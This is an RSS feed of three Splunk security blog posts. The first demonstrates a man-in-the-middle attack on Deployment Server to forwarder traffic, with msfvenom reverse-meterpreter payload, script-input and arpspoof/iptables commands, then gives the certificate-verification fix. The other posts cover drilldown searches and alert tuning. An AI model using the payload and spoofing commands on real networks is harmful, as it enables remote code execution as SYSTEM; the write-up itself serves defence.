<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Donald Murchison on Medium]]></title>
        <description><![CDATA[Stories by Donald Murchison on Medium]]></description>
        <link>https://medium.com/@donemurch?source=rss-65934ab5ca31------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*oBUT3Y4CuT0Ir5ygKapHRg.jpeg</url>
            <title>Stories by Donald Murchison on Medium</title>
            <link>https://medium.com/@donemurch?source=rss-65934ab5ca31------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Fri, 20 Nov 2026 12:34:43 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@donemurch/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Splunk SSL Best Practices: Safeguarding Deployment Server Communication and Foiling…]]></title>
            <link>https://medium.com/@donemurch/splunk-ssl-best-practices-safeguarding-deployment-server-communication-and-foiling-6aae4c7072e6?source=rss-65934ab5ca31------2</link>
            <guid isPermaLink="false">https://medium.com/p/6aae4c7072e6</guid>
            <category><![CDATA[splunk]]></category>
            <category><![CDATA[splunk-administration]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Donald Murchison]]></dc:creator>
            <pubDate>Mon, 03 Jul 2023 20:10:44 GMT</pubDate>
            <atom:updated>2023-07-03T20:10:44.211Z</atom:updated>
            <content:encoded><![CDATA[<h3>Splunk SSL Best Practices: Safeguarding Deployment Server Communication and Foiling Man-in-the-Middle Attacks</h3><p>The impact of the attack described in this post is significant but very simple to fix. sslVerifyServerCert, sslCommonNameToCheck, and caCertFile should always be configured on a Splunk Forwarder.</p><blockquote>Failing to verify certificates of the Deployment Server allows a Man-in-the-Middle attack to lead to unauthenticated remote code execution on any system managed by the server.</blockquote><p>Several years ago, I was tasked with reviewing an on-prem Splunk deployment and properly securing the different forms of communication. A major area of concern for me was Deployment Server (DS) to forwarder communication. Deployment Servers can push and execute arbitrary code and by default, this is done with no verification of the server from the forwarder side. Most deployments I heard about were using SSL best practices for the Web service but completely neglecting the Splunk-to-Splunk communication. I wrote a <a href="https://murchisd.github.io/pr0j3cts/2019/06/30/Splunk-DS-MITM.html">personal blog</a> about the dangers of this back then. Unfortunately, most deployments I hear about today still do not secure communication between the DS and forwarder, even though Splunk generates multiple warnings about this!</p><p>This attack is NOT like others that require Splunk credentials and the Management API enabled for the forwarder. Simply by impersonating a Deployment Server, an attacker can successfully exploit this misconfiguration. The code will execute as the user the Splunk forwarder service runs as. For Windows, <strong>this is SYSTEM by default</strong>! This is NOT a vulnerability in Splunk just poor configuration and security practices.</p><p>If you just want to see how to fix this, jump to <a href="#63ef">Securing Deployment Server Communication</a>.</p><h3><strong>Proof of Concept for the Attack</strong></h3><p>The screenshots below are from my original 2019 blog post. However, I did re-verify these steps using the most recent versions of Splunk components, Splunk 9.0.5 and Splunk Forwarder 9.0.5.</p><h4><strong>The Environment</strong></h4><p><em>Splunk Components</em></p><ul><li>Splunk Enterprise acting as Search Head/Indexer/DS combo</li><li>Kali Linux with Splunk Enterprise acting as Search Head/Indexer/DS combo</li><li>Windows 10 with Splunk Universal Forwarder installed</li><li>Developer’s License (Required for DS features of Splunk)</li></ul><p>I’m not going to describe how to set up or install a distributed Splunk environment, just describe some of the important pieces here.</p><p>Default Splunk certificates are being used on the victim Splunk Enterprise and Splunk Forwarder installs.</p><p>The forwarder has the following in deploymentclients.conf</p><pre>[deployment-client]<br><br>[target-broker:splunk]<br>targetUri = &lt;deployment server ip&gt;:8089</pre><p>I verified that the forwarder was communicating with the DS and pushed a few base apps out.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HdqqiDqs9An2VtPZ_mPatg.png" /></figure><p>Here is the intial apps directory on the Windows 10 machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/786/1*Kcz5exy6BwigU3Td6LmzOA.png" /></figure><h4><strong>Setting up the attacker machine</strong></h4><p>I first installed a full version of Splunk Enterprise and applied the developer license. I also updated the mgmtHostPort to run on port 8088 by adding a web.conf to system/local. I will explain why I did this when I discuss the MITM attack.</p><pre>[settings]<br>mgmtHostPort=0.0.0.0:8088</pre><p>I then created a malicious app, reverse_shell, to deploy an executable that would create a reverse meterpreter shell.</p><pre>msfvenom --platform windows -a x64 LHOST=&lt;Kali IP&gt; LPORT=1234 -p windows/x64/meterpreter/reverse_tcp -o /opt/splunk/etc/deployment-apps/reverse_shell/bin/evil.exe</pre><p>In local/inputs.conf</p><pre>[script://$SPLUNK_HOME/etc/apps/reverse_shell/bin/evil.exe]<br>disable=false<br>interval=10<br>sourcetype=evil</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/986/1*yffa1yT92trkZdsJCQ3U_A.png" /></figure><p>I decided to include a deploymentclients.conf pointing to the real DS IP, in case these settings are in the apps directory on the forwarder instead of /etc/system/local. This allows us to restore normal communication once we have the reverse shell. Other settings that are commonly managed in the apps directory, like outputs.conf for Splunk Cloud, can also be deployed and overwritten.</p><p>A caveat to this is the attacker needs to know the IP or hostname of the DS. However, this should not be too hard for an attacker to discover if they are on your network.</p><p>Next, I set up the corresponding server class and set the reverse_shell app to restart Splunk on install.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Mv7koHuGtSRl58rKf1LbEA.png" /></figure><p>I specified “*” for the server class clients so any new clients phoning home would have the app installed.</p><p>The next step is to set up a meterpreter handler and run a man-in-the-middle attack to impersonate the real DS.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/932/1*cYUlIXt_c0WsaygJ9qYVPw.png" /></figure><h4>Running the attack</h4><p>For the MITM attack, I used the arpspoof tool included in Kali. This tricks the windows 10 victim machine into thinking the MAC address for the DS is my Kali machine’s MAC address, causing the traffic to be routed to my Kali machine.</p><p>One issue that I ran into was that the Kali Linux Splunk Enterprise instance would not respond to traffic destined for a different IP. To bypass this, I set up an iptables rule to nat traffic with destination port 8089 to my attacker IP on port 8088. This is why I changed the management port on the initial setup (Note: port change may not have been necessary)</p><pre>iptable -t nat -I PREROUTING -p tcp - dport 8089 -j DNAT - to-destination &lt;attacker ip&gt;:8088<br><br>arpspoof -i eth0 -t &lt;Windows 10 IP&gt; &lt;DS IP&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/915/1*bAwGLX4j2kovrxjDOUi6Mw.png" /></figure><p>Once arpsoof was running I examined the Windows machine to see if we successfully installed the malicious application.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/816/1*TVBW5-n4tiCX9Hvw-ysO-A.png" /></figure><p>Then I verified the reverse shell connected.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/988/1*chCs3VT4ulL1mTa1B0NS5Q.png" /></figure><p>We now have a shell on the system! Now I stop the arpspoof and the system should re-establish communication with the real DS and everything should appear back to normal.</p><p>There are many caveats to the way I did this attack — an attacker on the network, no layer 2 security, known DS information, and a full install of Splunk with a valid license — but it shows the dangers of not securing the DS communication. Even if protections are implemented in your network, do all of the networks your machines connect to provide the same protections?</p><h3>Securing Deployment Server Communication</h3><p>It is incredibly simple to stop the MITM attack using Splunk configs, especially if you use your certs signed by an internal CA to secure HTTPS for the DS already. I won’t go in to the full process of generating and signing certs for Splunk, but here is a link to some resources, <a href="https://docs.splunk.com/Documentation/Splunk/8.2.11/Security/AboutsecuringSplunktoSplunkcommunication">About Securing Splunk to Splunk Communication</a>. Once you have your own cert set up for web.conf and server.conf, we just need to deploy the CA chain to the forwarders with some updated configs, which can all be done through the DS.</p><p><strong>This solution only verifies certificates on the forwarder side and does not require the forwarders to have their own SSL certs.</strong></p><p>To implement this, we want to create an app to push to the forwarders. This app will contain a deploymentclients.conf and a ca.pem, that’s it! I like to create the base app with a local and auth subdirectory. We can copy the CA chain referenced in server.conf on the DS (likely located at $SPLUNK_HOME/etc/auth/myCerts/ca.pem or something similar) to the auth directory of the app.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/935/1*3UfJC3F8YCeXupseN-EH9Q.png" /></figure><p>Then we configure deploymentclients.conf to look like the following:</p><pre>[deployment-client]<br>sslVerifyServerCert=true<br>caCertFile=$SPLUNK_HOME/etc/apps/&lt;this apps name&gt;/auth/ca.pem<br>sslCommonNameToCheck = &lt;common name in DS cert&gt;<br><br>[target-broker:&lt;group name&gt;]<br>targetUri = &lt;DS IP or hostname&gt;:8089</pre><p>The forwarder should now verify the DS certificate before installing any applications. This is relatively simple, does not put any significant strain on resources, and mitigates a possibly huge threat.</p><p>Additional Resources: When I originally ran this test in 2019, I found an excellent presentation from 2015 by Duane Waddle on how to secure the different components of Splunk communication using SSL, “<a href="https://conf.splunk.com/session/2015/conf2015_DWaddle_DefensePointSecurity_deploying_SplunkSSLBestPractices.pdf">Splunk SSL Best Practices</a>”. Unfortunately, that presentation is no longer accessible, but Duane still has some great resources on<a href="https://www.duanewaddle.com/splunk-conf-2014/"> a personal site</a>.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6aae4c7072e6" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Lookup to Drilldown: Building dynamic searches for triaging Risk notables in Splunk]]></title>
            <link>https://medium.com/@donemurch/lookup-to-drilldown-building-dynamic-searches-for-triaging-risk-notables-in-splunk-87c976711f7a?source=rss-65934ab5ca31------2</link>
            <guid isPermaLink="false">https://medium.com/p/87c976711f7a</guid>
            <category><![CDATA[splunk]]></category>
            <category><![CDATA[siem]]></category>
            <category><![CDATA[detection-engineering]]></category>
            <category><![CDATA[detection]]></category>
            <dc:creator><![CDATA[Donald Murchison]]></dc:creator>
            <pubDate>Sun, 02 Jul 2023 05:05:22 GMT</pubDate>
            <atom:updated>2023-07-02T05:05:22.064Z</atom:updated>
            <content:encoded><![CDATA[<p><a href="https://www.splunk.com/en_us/blog/security/risk-based-alerting-the-new-frontier-for-siem.html">Risk Based Alerting (RBA) is the new frontier in SIEM.</a> For those unfamiliar with RBA, there are a lot of great <a href="https://conf.splunk.com/watch/conf-online.html?search=Risk%20Based%20Alerting#/">.conf presentations</a> and <a href="https://rba.community/#community-resources">resources</a> to get an understanding of its benefits and how to get started.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/794/1*AHNDN7rJGLIvFRvGKmuXOw.png" /><figcaption>Source: <a href="https://www.splunk.com/en_us/blog/security/risk-based-alerting-the-new-frontier-for-siem.html">https://www.splunk.com/en_us/blog/security/risk-based-alerting-the-new-frontier-for-siem.html</a></figcaption></figure><p>For those who have already started their journey with RBA, you have probably noticed that triaging risk alerts is fairly different from triaging traditional alerts. Alerts in RBA, are generally triggered from a series of “interesting” events (risk events) highlighting a range of behavior flagged by a variety of detections. It is difficult to present all of the important details in a single alert, so many teams opt to create a custom investigation dashboard for RBA. Haylee Mills, a security strategist at Splunk, does an excellent job discussing how to do this in “<a href="https://conf.splunk.com/files/2020/recordings/SEC1113A.mp4">Streamlining Analysis of Security Stories with Risk-based Alerting</a>” (<a href="https://conf.splunk.com/files/2020/slides/SEC1113A.pdf">slides</a>).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KqGpKmuZbEQwRXLzUfRBjw.png" /><figcaption>Source: <a href="https://splunk.github.io/rba/dashboards/risk_investigation/">https://splunk.github.io/rba/dashboards/risk_investigation/</a></figcaption></figure><p>Even with an awesome risk investigation dashboard like Haylee’s, there will be times when analysts need to gather additional information directly from the source. If your team documents detections using a format like <a href="https://blog.palantir.com/alerting-and-detection-strategy-framework-52dc33722df2">Palantir’s ADS</a>, then you are likely already providing analysts with steps or decision trees to drill down into the behavior. However, drilling down can sometimes require complex searches, which can be time-consuming to develop, especially if analysts are doing this on their own. It would be nice to provide analysts with pre-populated drilldown searches that they can just click to get results. So let’s do it!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aon2MrNQnJ9BmTJaeiZDhw.png" /></figure><p>By following the steps below you can create a dashboard panel with clickable drilldown searches pre-populated with details from risk events to add to any RBA investigation dashboard. (<a href="#81c4">Full XML for the example dashboard</a> and <a href="#5016">SPL for the example drilldowns</a> are at the end of the article)</p><p>First, we build a lookup for our drilldown searches. We need at least two columns. One for the search name the drilldown is associated with, and one for the actual drilldown. I also like to add a description of the drilldown with the time range that should be used, and what to look for.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XaNe-k8KS65khmio8zA8bw.png" /><figcaption>Lookup populated with drilldowns and descriptions</figcaption></figure><p>We will be using the drilldown field to construct a dynamic <strong><em>eval</em></strong> statement, so instead of using <strong><em>$&lt;field&gt;$</em></strong> for variable replacement, we use string concatenation. Essentially, we use the lookup to run |<strong><em> eval drilldown=“string”.&lt;field&gt;.”string”</em></strong>. Here’s a simple example of a drilldown.</p><pre>&quot;index=risk risk_object=&quot;.risk_object.&quot; | eval message=\&quot;this is a drilldown example\&quot;&quot;</pre><p>It’s important to note that any double quotes or back slashes will need to be escaped within your drilldown. Sometimes this can be tricky (escaped double quotes need three backslashes \\\”) so it helps to test the drilldown format by using <strong><em>makeresults</em></strong> and <strong><em>eval</em></strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7JuXy03sMEQSPcTVMfWU7w.png" /></figure><p>The drilldown field should show as proper SPL which could be run in the search bar.</p><p>Since we are building an <strong><em>eval</em></strong> statement, we can also manipulate the field with standard <strong><em>eval</em></strong> functions like <strong><em>coalesce</em></strong>. This can also be helpful to format multivalue fields since multivalue fields do not work as is with string concatenation and <strong><em>eval</em></strong> statements.</p><pre>&quot;index=risk risk_object=&quot;.coalesce(risk_object,src,src_ip).&quot; | eval message=\&quot;this is a drilldown example\&quot;&quot;</pre><p>Now that we know how to build the lookup, we just need to build the dashboard panel. We are going to use the SPL below to run our dynamic evals. The SPL has several comments to explain the logic but at a high level, we use<strong><em> map</em></strong> to return risk events for each individual search name. We then use <strong><em>|inputlookup</em></strong> to evaluate the contents of our lookup and set as the <strong><em>drilldown</em></strong> field.</p><pre>| tstats summariesonly=false count from datamodel=Risk.All_Risk where All_Risk.risk_object=&quot;$risk_object_token$&quot; by source<br>``` Get a list of all risk rules that have generated a risk event for this risk object - assumes the dashbaord has an input which stores risk_object in &quot;risk_object_token&quot;<br>replace risk_object_token with your own token name - helpful to use risk_object_type in search if this is in a token as well ```<br>| fields source<br>``` Use map to run a search for each risk rule to generate the drilldowns - map was used to be able to pass the risk rule name as an argument to the subsearch.<br>This is required because we must run an individual &quot;<br>| eval drilldown=…&quot; for each risk rule in case fields are used in the drilldown that do not exist in other risk events.<br>String concatentation with a null field would make our entire string null.<br>If you wanted to remove map for better performance you could do this by only using fields that are present in every risk rule or building drilldowns with coalesce - coalesce(risk_object,\&quot;\&quot;) - to ensure no null fields```<br>| map search=&quot;index=risk risk_object=\&quot;$risk_object_token$\&quot; | eval drilldown=[| inputlookup rba_risk_rule_drilldowns.csv | eval search_name=split(search_name,\&quot;|\&quot;) | search search_name=\&quot;$$source$$\&quot; | eval drilldown=\&quot;\\\&quot;\&quot;.search_name.\&quot;||@||\\\&quot;.\&quot;.drilldown.\&quot;.\\\&quot;||@||\&quot;.description.\&quot;\\\&quot;\&quot;<br>``` In the map search, we first search for all risk events related to the risk rule. Every risk event will get a drilldown field that we will dedup later. We do not use the datamodel in case fields outside of the datamodel are used in the drilldown.<br>The |inputlookup subsearch concatenates search_name, drilldown, and description for each row```<br>| stats values(drilldown) as drilldown<br>| eval drilldown=mvjoin(drilldown,\&quot;.\\\&quot;||&amp;||\\\&quot;.\&quot;)<br>``` We then condense all drilldowns to a single field and concatenate together - this allows us to evaluate all drilldowns within a single eval statement```<br>|return $drilldown] | fields drilldown&quot;<br>```Now we break out the drilldowns into their respective components```<br>| eval drilldown=split(drilldown,&quot;||&amp;||&quot;)<br>| mvexpand drilldown<br>| eval search_name=mvindex(split(drilldown,&quot;||@||&quot;),0)<br>| eval drilldown_description=mvindex(split(drilldown,&quot;||@||&quot;),2)<br>| eval drilldown=mvindex(split(drilldown,&quot;||@||&quot;),1)<br>| stats values(*) as * by drilldown<br>``` Use stats to dedup the drilldowns - depending on the fields used in the drilldown there could be multiple variations of the same drilldown```<br>| table search_name drilldown_description drilldown</pre><p>To add this to a dashboard, we simply create a new Statistics Table panel, and copy in our SPL from above.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/673/1*4vPgLAAHGkkxFPL1GsQggw.png" /></figure><p>We then click “More Actions” -&gt; “Edit Drilldown”. In the Drilldown Editor, we select “Link to search” -&gt; “Custom” and set the search string to “$row.drilldown$”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dG4QNVWM5ZP2kj_G9xFZyg.png" /></figure><p>That’s it! We now have a clickable dashboard panel that allows analysts to run pre-populated drilldown searches.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aon2MrNQnJ9BmTJaeiZDhw.png" /></figure><p><strong>Full XML for the RBA Drilldown Example dashboard</strong></p><pre>&lt;form version=&quot;1.1&quot; theme=&quot;dark&quot;&gt;<br>&lt;label&gt;RBA Drilldown Example&lt;/label&gt;<br>&lt;fieldset submitButton=&quot;false&quot;&gt;<br>&lt;input type=&quot;text&quot; token=&quot;risk_object_token&quot;&gt;<br>&lt;label&gt;Risk Object&lt;/label&gt;<br>&lt;/input&gt;<br>&lt;input type=&quot;time&quot; token=&quot;field1&quot;&gt;<br>&lt;label&gt;&lt;/label&gt;<br>&lt;default&gt;<br>&lt;earliest&gt;-24h@h&lt;/earliest&gt;<br>&lt;latest&gt;now&lt;/latest&gt;<br>&lt;/default&gt;<br>&lt;/input&gt;<br>&lt;/fieldset&gt;<br>&lt;row&gt;<br>&lt;panel&gt;<br>&lt;table&gt;<br>&lt;title&gt;RBA Drilldowns&lt;/title&gt;<br>&lt;search&gt;<br>&lt;query&gt;| tstats summariesonly=false count from datamodel=Risk.All_Risk where All_Risk.risk_object=&quot;$risk_object_token$&quot; by source<br>``` Get a list of all risk rules that have generated a risk event for this risk object - assumes the dashbaord has an input which stores risk_object in &quot;risk_object_token&quot;<br>replace risk_object_token with your own token name - helpful to use risk_object_type in search if this is in a token as well ```<br>| fields source<br>``` Use map to run a search for each risk rule to generate the drilldowns - map was used to be able to pass the risk rule name as an argument to the subsearch.<br>This is required because we must run an individual &quot;<br>| eval drilldown=…&quot; for each risk rule in case fields are used in the drilldown that do not exist in other risk events.<br>String concatentation with a null field would make our entire string null.<br>If you wanted to remove map for better performance you could do this by only using fields that are present in every risk rule or building drilldowns with coalesce - coalesce(risk_object,\&quot;\&quot;) - to ensure no null fields```<br>| map search=&quot;index=risk risk_object=\&quot;$risk_object_token$\&quot; | eval drilldown=[| inputlookup rba_risk_rule_drilldowns.csv | eval search_name=split(search_name,\&quot;|\&quot;) | search search_name=\&quot;$$source$$\&quot; | eval drilldown=\&quot;\\\&quot;\&quot;.search_name.\&quot;||@||\\\&quot;.\&quot;.drilldown.\&quot;.\\\&quot;||@||\&quot;.description.\&quot;\\\&quot;\&quot;<br>``` In the map search, we first search for all risk events related to the risk rule. Every risk event will get a drilldown field that we will dedup later. We do not use the datamodel in case fields outside of the datamodel are used in the drilldown.<br>The |inputlookup subsearch concatenates search_name, drilldown, and description for each row```<br>| stats values(drilldown) as drilldown<br>| eval drilldown=mvjoin(drilldown,\&quot;.\\\&quot;||&amp;amp;||\\\&quot;.\&quot;)<br>``` We then condense all drilldowns to a single field and concatenate together - this allows us to evaluate all drilldowns within a single eval statement```<br>|return $drilldown] | fields drilldown&quot;<br>```Now we break out the drilldowns into their respective components```<br>| eval drilldown=split(drilldown,&quot;||&amp;amp;||&quot;)<br>| mvexpand drilldown<br>| eval search_name=mvindex(split(drilldown,&quot;||@||&quot;),0)<br>| eval drilldown_description=mvindex(split(drilldown,&quot;||@||&quot;),2)<br>| eval drilldown=mvindex(split(drilldown,&quot;||@||&quot;),1)<br>| stats values(*) as * by drilldown<br>``` Use stats to dedup the drilldowns - depending on the fields used in the drilldown there could be multiple variations of the same drilldown```<br>| table search_name drilldown_description drilldown&lt;/query&gt;<br>&lt;earliest&gt;$field1.earliest$&lt;/earliest&gt;<br>&lt;latest&gt;$field1.latest$&lt;/latest&gt;<br>&lt;/search&gt;<br>&lt;option name=&quot;drilldown&quot;&gt;cell&lt;/option&gt;<br>&lt;option name=&quot;refresh.display&quot;&gt;progressbar&lt;/option&gt;<br>&lt;drilldown&gt;<br>&lt;link target=&quot;_blank&quot;&gt;search?q=$row.drilldown$&amp;amp;earliest=$field1.earliest$&amp;amp;latest=$field1.latest$&lt;/link&gt;<br>&lt;/drilldown&gt;<br>&lt;/table&gt;<br>&lt;/panel&gt;<br>&lt;/row&gt;<br>&lt;/form&gt;</pre><p><strong>Drilldown examples from lookup</strong></p><p><em>Search to view identity provider login history for user, includes geolocation and previously seen country counts</em></p><pre>&quot;index=identity_provider user=&quot;.risk_object.&quot; <br>| eval user=lower(user) <br>| iplocation prefix=src_ src <br>| lookup identity_lookup_expanded identity AS user outputnew email as user_key <br>| lookup access_tracker_by_location email as user_key country as src_Country OUTPUT count as previously_seen sources <br>| fields _time user src_Country src action authentication_method app protocol type previously_seen sources http_user_agent <br>| stats earliest(_time) as start_time latest(_time) as end_time values(*) as * sum(previously_seen) as previously_seen by user src <br>| convert ctime(*_time)&quot;</pre><p><em>Search to display process trees for OUTLOOK for user</em></p><pre>&quot;index=sysmon source=\&quot;xmlwineventlog:microsoft-windows-sysmon/operational\&quot; EventCode=1 user=&quot;.risk_object.&quot; <br>| rex field=ParentImage \&quot;\\x5c(?&lt;ParentName&gt; <br>    [ ^\\x5c]+)$\&quot; <br>| rex field=Image \&quot;\\x5c(?&lt;ProcessName&gt; <br>    [ ^\\x5c]+)$\&quot; <br>| eval parent = ParentName.\&quot; (\&quot;.ParentProcessId.\&quot;)\&quot; <br>| eval child = ProcessName.\&quot; (\&quot;.ProcessId.\&quot;)\&quot; <br>| eval detail=strftime(_time,\&quot;%Y-%m-%d %H:%M:%S\&quot;).\&quot; \&quot;.CommandLine <br>| pstree child=child parent=parent detail=detail spaces=50 <br>| search tree=*OUTLOOK* <br>| table tree&quot;</pre><p><em>Search to identify possible C2 traffic</em></p><pre>&quot;`proxy_logs` NOT (bytes_in=0 AND bytes_out=0) NOT `internal_ip(url_domain)` url=*/* src=&quot;.src.&quot;<br>| sort 0 - url_domain _time<br>| delta _time as time_diff<br>| autoregress p=1 url_domain as prev_url_domain<br>| where url_domain=prev_url_domain<br>| table _time url_domain user time_diff bytes_in bytes_out url<br>| stats earliest(_time) as start_time latest(_time) as end_time count avg(time_diff) as median_time_diff stdev(time_diff) as stdev_time_diff avg(bytes_in) as median_bytes_in stdev(bytes_in) as stdev_bytes_in avg(bytes_out) as median_bytes_out stdev(bytes_out) as stdev_bytes_out values(url) as url by user url_domain<br>| convert ctime(*_time)&quot;</pre><p><em>Search to identify when user likely egressed to new domains</em></p><pre>&quot;| tstats summariesonly=t count values(Web.dest_ip) as dest_ip earliest(_time) as _time values(Web.url) as url from datamodel=Web where Web.src=\&quot;&quot;.src.&quot;\&quot; by Web.url_domain<br>| addinfo<br>| fields - info_min_time info_search_time info_sid<br>| where _time&gt;relative_time(info_max_time,\&quot;-1d\&quot;)<br>| rename Web.* as *<br>| table _time url_domain url&quot;</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=87c976711f7a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[SIEMplify alert tuning in Splunk]]></title>
            <link>https://medium.com/@donemurch/siemplify-alert-tuning-in-splunk-6425ef02f06f?source=rss-65934ab5ca31------2</link>
            <guid isPermaLink="false">https://medium.com/p/6425ef02f06f</guid>
            <category><![CDATA[splunk]]></category>
            <category><![CDATA[threat-detection]]></category>
            <category><![CDATA[detection-engineering]]></category>
            <category><![CDATA[siem]]></category>
            <dc:creator><![CDATA[Donald Murchison]]></dc:creator>
            <pubDate>Thu, 29 Jun 2023 18:24:13 GMT</pubDate>
            <atom:updated>2023-06-29T18:24:13.906Z</atom:updated>
            <content:encoded><![CDATA[<p><a href="https://medium.com/anton-on-security/why-is-threat-detection-hard-42aa479a197f">Threat Detection is hard</a>. There is no one size fits all approach for developing effective threat detection programs across organizations. Generally, I like to think maximizing <a href="https://www.rapid7.com/blog/post/2020/05/15/moving-toward-a-better-signature-metric-in-socs-detection-efficacy/">the efficacy of your detections</a> (value divided by cost) will make a threat detection program better. It is not always straight forward to <a href="https://medium.com/anton-on-security/how-to-make-threat-detection-better-c38f1758b842">determine a detection’s value</a>, but cost can be quantified as resources consumed. These resources can be things like storage to ingest data in SIEM, engineering hours to develop and maintain a detection, or analyst hours required to triage and respond to signals/alerts. All organizations must deal with the <a href="https://posts.specterops.io/introducing-the-funnel-of-fidelity-b1bb59b04036">constraints of limited resources</a>, so focusing on reducing the cost of a detection is a good place to start for increasing detection efficacy.</p><p>There are several effective ways to reduce cost:</p><ul><li>Automate enrichment or response actions with tools like SOAR</li><li>Add additional context to make triaging easier</li><li>Create multi-stage detections (think <a href="https://www.splunk.com/en_us/blog/security/risk-based-alerting-the-new-frontier-for-siem.html">Risk-Based Alerting</a>)</li><li>Tuning detections</li></ul><p>The most common approach still seems to be tuning detections with a focus on reducing false positives. This is often accomplished by simply suppressing the false positives, because we all know “<a href="https://youtu.be/CRtmeWCbRZQ">False Positives are Bad</a>.”</p><p><strong>Introducing the </strong><a href="https://splunkbase.splunk.com/app/6943"><strong>Tuning Framework for Splunk</strong></a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/527/1*jhLptS4AjSAD7cT1GPEt2g.png" /></figure><p>In Splunk, there are multiple ways to suppress events but most have limitations. Common solutions include using macros to add SPL filters or using lookups to exclude events with specific field/value pairs. These solutions generally require unique macros or lookups for each detection and must be individually managed by administrators. This makes them difficult to scale and manage, ultimately consuming engineering resources and contributing to the cost associated with the detections.</p><p>This is where the <a href="https://splunkbase.splunk.com/app/6943">Tuning Framework for Splunk</a> can help. The Tuning Framework is a Splunk app built to facilitate the process of suppressing false positives. The framework implements a small number of lookups and macros to dynamically suppress events in a scalable and agile manner reducing both costs associated with false positives and the tuning process.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*e35dL6hKX1-W40Qqtk8XZA.png" /></figure><p>To use the framework, simply follow the two steps in the <a href="https://github.com/murchisd/tuning_framework_for_splunk#installing-and-configuring-the-tuning-framework">installation and configuration guide</a>, and then <a href="https://github.com/murchisd/tuning_framework_for_splunk#add-entries-to-the-tuning-lookups">add suppression entries</a> using the Add Entry dashboard.</p><p>Suppression entries can be added across any number of detections and for any number of field and value combinations. Additionally, suppression entries include a lifetime value to auto-remove the entries after the specified period. A detailed explanation of the framework components and logic can found in the <a href="https://github.com/murchisd/tuning_framework_for_splunk#framework-logic">github documentation</a>.</p><pre>tuning_framework_for_splunk<br>|--- default<br>`` |--- app.conf<br>`` |--- data<br>`` `` |--- ui<br>`` `` `` |--- nav<br>`` `` `` `` |--- default.xml<br>`` `` `` |--- views<br>`` `` `` `` |--- tuning_framework_add_entry.xml<br>`` `` `` `` |--- tuning_framework_list_entry.xml<br>`` |--- macros.conf<br>`` |--- savedsearches.conf<br>`` |--- transforms.conf<br>|--- lookups<br>`` |--- rba_risk_score_override_lookup.csv<br>`` |--- time_based_suppression_lookup.csv<br>|--- metadata<br>`` |--- default.meta<br>|--- README.md</pre><p>Let’s assume we had a detection for login from anomalous countries, and an employee was confirmed to be travelling. We want to add a suppression for the user and country while the employee is travelling. An engineer or analyst would navigate to the Add Entry dashboard, select “Suppression” for Tuning Mode, select the applicable detections, fill out the field and value boxes, set Logic Operator to “AND”, and set the Lifetime to the length of time the employee will be travelling for.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8EUDaR3WgECOuYCDQOntmg.png" /></figure><p>After hitting submit and confirming to run the command, you will see a preview of the entry and a message stating if the addition was successful or not.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MLnvGTjaJqXwSpVa0sc7DQ.png" /></figure><p>The suppression will now be applied to the detection rule and automatically removed after seven days.</p><p>The suppression can also be easily removed before the end of the lifetime simply by finding the entry in the List/Remove Entry dashboard and clicking “Click to Remove”. This will remove the suppression from all rules to which it was applied.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*d7rxoJW0qvlDVX88r1cpVQ.png" /></figure><p>Whether your organization’s detection program is just getting started in Splunk or is well established, I hope that this framework helps improve your ability to tune detections.</p><p>Next time I will write about how this framework can be used for tuning in Risk Based Alerting by overwriting risk scores based off dynamic criteria.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6425ef02f06f" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>